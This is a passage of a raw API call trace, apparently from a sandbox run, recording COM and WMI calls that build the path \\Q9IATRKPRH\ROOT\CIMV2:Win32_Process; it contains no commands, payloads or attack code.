This=0x1bc8a0f0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0138.150] WbemDefPath:IUnknown:Release (This=0x1bc8a0f0) returned 0x3 [0138.150] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0138.151] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0138.151] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc946f0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0138.151] WbemDefPath:IUnknown:Release (This=0x1bc946f0) returned 0x2 [0138.151] WbemDefPath:IUnknown:Release (This=0x1bc946f0) returned 0x1 [0138.151] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0138.151] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0138.151] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc946f0, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc946f0) returned 0x0 [0138.151] WbemDefPath:IUnknown:AddRef (This=0x1bc946f0) returned 0x3 [0138.151] WbemDefPath:IUnknown:Release (This=0x1bc946f0) returned 0x2 [0138.151] WbemDefPath:IWbemPath:SetText (This=0x1bc946f0, uMode=0x4, pszPath="") returned 0x0 [0138.151] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0138.151] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0138.151] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0138.151] IUnknown:Release (This=0x1a943398) returned 0x1 [0138.153] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bc8a0b0) returned 0x0 [0138.154] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc8a0b0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0138.154] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc8a0b0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc947b0) returned 0x0 [0138.154] WbemDefPath:IUnknown:Release (This=0x1bc8a0b0) returned 0x0 [0138.154] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc947b0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc947b0) returned 0x0 [0138.154] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc947b0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0138.154] WbemDefPath:IUnknown:AddRef (This=0x1bc947b0) returned 0x3 [0138.154] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc947b0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0138.154] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc947b0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0138.154] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc947b0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bc8a130) returned 0x0 [0138.154] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc8a130, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0138.154] WbemDefPath:IUnknown:Release (This=0x1bc8a130) returned 0x3 [0138.154] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0138.155] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0138.155] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc947b0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0138.155] WbemDefPath:IUnknown:Release (This=0x1bc947b0) returned 0x2 [0138.155] WbemDefPath:IUnknown:Release (This=0x1bc947b0) returned 0x1 [0138.155] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0138.155] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0138.155] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc947b0, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc947b0) returned 0x0 [0138.155] WbemDefPath:IUnknown:AddRef (This=0x1bc947b0) returned 0x3 [0138.155] WbemDefPath:IUnknown:Release (This=0x1bc947b0) returned 0x2 [0138.155] WbemDefPath:IWbemPath:SetText (This=0x1bc947b0, uMode=0x4, pszPath="") returned 0x0 [0138.155] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc947b0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0138.155] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc946f0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0138.155] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bc947b0, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0138.155] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc947b0, puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0) returned 0x80041009 [0138.155] WbemDefPath:IWbemPath:SetServer (This=0x1bc947b0, Name="Q9IATRKPRH") returned 0x0 [0138.155] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0138.155] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0138.155] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0138.155] IUnknown:Release (This=0x1a943398) returned 0x1 [0138.157] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bc8a150) returned 0x0 [0138.157] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc8a150, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0138.157] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc8a150, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc94870) returned 0x0 [0138.158] WbemDefPath:IUnknown:Release (This=0x1bc8a150) returned 0x0 [0138.158] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94870, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc94870) returned 0x0 [0138.158] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94870, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0138.158] WbemDefPath:IUnknown:AddRef (This=0x1bc94870) returned 0x3 [0138.158] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94870, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0138.158] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94870, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0138.158] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94870, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bc8a190) returned 0x0 [0138.158] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc8a190, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0138.158] WbemDefPath:IUnknown:Release (This=0x1bc8a190) returned 0x3 [0138.158] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0138.158] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0138.158] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94870, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0138.158] WbemDefPath:IUnknown:Release (This=0x1bc94870) returned 0x2 [0138.159] WbemDefPath:IUnknown:Release (This=0x1bc94870) returned 0x1 [0138.159] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0138.159] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0138.159] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94870, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc94870) returned 0x0 [0138.159] WbemDefPath:IUnknown:AddRef (This=0x1bc94870) returned 0x3 [0138.159] WbemDefPath:IUnknown:Release (This=0x1bc94870) returned 0x2 [0138.159] WbemDefPath:IWbemPath:SetText (This=0x1bc94870, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0138.159] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc947b0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0138.159] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94870, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0138.159] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94870, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0138.159] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94870, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0138.159] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bc947b0) returned 0x0 [0138.159] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94870, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0138.159] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc94870, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0138.159] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc94870, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="ROOT") returned 0x0 [0138.159] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc947b0, uIndex=0x0, pszName="ROOT") returned 0x0 [0138.159] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc94870, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0138.159] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc94870, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="CIMV2") returned 0x0 [0138.159] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc947b0, uIndex=0x1, pszName="CIMV2") returned 0x0 [0138.159] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bc947b0, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0138.159] WbemDefPath:IWbemPath:SetClassName (This=0x1bc947b0, Name="Win32_Process") returned 0x0 [0138.159] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc947b0, uRequestedInfo=0x0, puResponse=0x1bb7e6b8 | out: puResponse=0x1bb7e6b8*=0x20c16) returned 0x0 [0138.160] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc947b0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0138.160] WbemDefPath:IWbemPath:GetText (in: This=0x1bc947b0, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x26, pszText=0x0) returned 0x0 [0138.160] WbemDefPath:IWbemPath:GetText (in: This=0x1bc947b0, lFlags=4, puBuffLength=0x1bb7e608*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0138.160] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc947b0, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0x20c16) returned 0x0 [0138.160] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc947b0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0138.160] WbemDefPath:IWbemPath:GetText (in: This=0x1bc947b0, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x18, pszText=0x0) returned 0x0 [0138.160] WbemDefPath:IWbemPath:GetText (in: This=0x1bc947b0, lFlags=8, puBuffLength=0x1bb7e608*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0138.160] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94570, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0138.160] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94570, lFlags=16, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xb, pszText=0x0) returned 0x0 [0138.160] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94570, lFlags=16, puBuffLength=0x1bb7e608*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e608*=0xb, pszText="root\\cimv2") returned 0x0 [0138.160] WbemDefPath:IWbemPath:GetText (in: This=0x1bc947b0, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0138.160] WbemDefPath:IWbemPath:GetText (in: This=0x1bc947b0, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0138.160] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e568 | out: ppv=0x1bb7e568*=0x1a943398) returned 0x0 [0138.160] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e558 | out: pAptType=0x1bb7e558*=1) returned 0x0 [0138.160] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e560 | out: ppvObject=0x1bb7e560*=0x0) returned 0x80004002 [0138.160] IUnknown:Release (This=0x1a943398) returned 0x1 [0138.162] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d980 | out: ppv=0x1bb7d980*=0x1bc8a3f0) returned 0x0 [0138.162] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc8a3f0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x0) returned 0x80004002 [0138.162] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc8a3f0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d978 | out: ppvObject=0x1bb7d978*=0x1bc94930) returned 0x0 [0138.162] WbemDefPath:IUnknown:Release (This=0x1bc8a3f0) returned 0x0 [0138.163] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94930, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d788 | out: ppvObject=0x1bb7d788*=0x1bc94930) returned 0x0 [0138.163] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94930, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d830 | out: ppvObject=0x1bb7d830*=0x0) returned 0x80004002 [0138.163] WbemDefPath:IUnknown:AddRef (This=0x1bc94930) returned 0x3 [0138.163] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94930, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ced8 | out: ppvObject=0x1bb7ced8*=0x0) returned 0x80004002 [0138.163] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94930, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce60 | out: ppvObject=0x1bb7ce60*=0x0) returned 0x80004002 [0138.163] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94930, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce50 | out: ppvObject=0x1bb7ce50*=0x1bc8a430) returned 0x0 [0138.163] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc8a430, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce78 | out: pCid=0x1bb7ce78*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0138.163] WbemDefPath:IUnknown:Release (This=0x1bc8a430) returned 0x3 [0138.163] CoGetContextToken (in: pToken=0x1bb7cf00 | out: pToken=0x1bb7cf00) returned 0x0 [0138.163] CoGetContextToken (in: pToken=0x1bb7d380 | out: pToken=0x1bb7d380) returned 0x0 [0138.163] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94930, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d440 | out: ppvObject=0x1bb7d440*=0x0) returned 0x80004002 [0138.163] WbemDefPath:IUnknown:Release (This=0x1bc94930) returned 0x2 [0138.163] WbemDefPath:IUnknown:Release (This=0x1bc94930) returned 0x1 [0138.163] CoGetContextToken (in: pToken=0x1bb7e1a0 | out: pToken=0x1bb7e1a0) returned 0x0 [0138.164] CoGetContextToken (in: pToken=0x1bb7e0a0 | out: pToken=0x1bb7e0a0) returned 0x0 [0138.164] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94930, riid=0x1bb7e200*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1d0 | out: ppvObject=0x1bb7e1d0*=0x1bc94930) returned 0x0 [0138.164] WbemDefPath:IUnknown:AddRef (This=0x1bc94930) returned 0x3 [0138.164] WbemDefPath:IUnknown:Release (This=0x1bc94930) returned 0x2 [0138.164] WbemDefPath:IWbemPath:SetText (This=0x1bc94930, uMode=0x4, 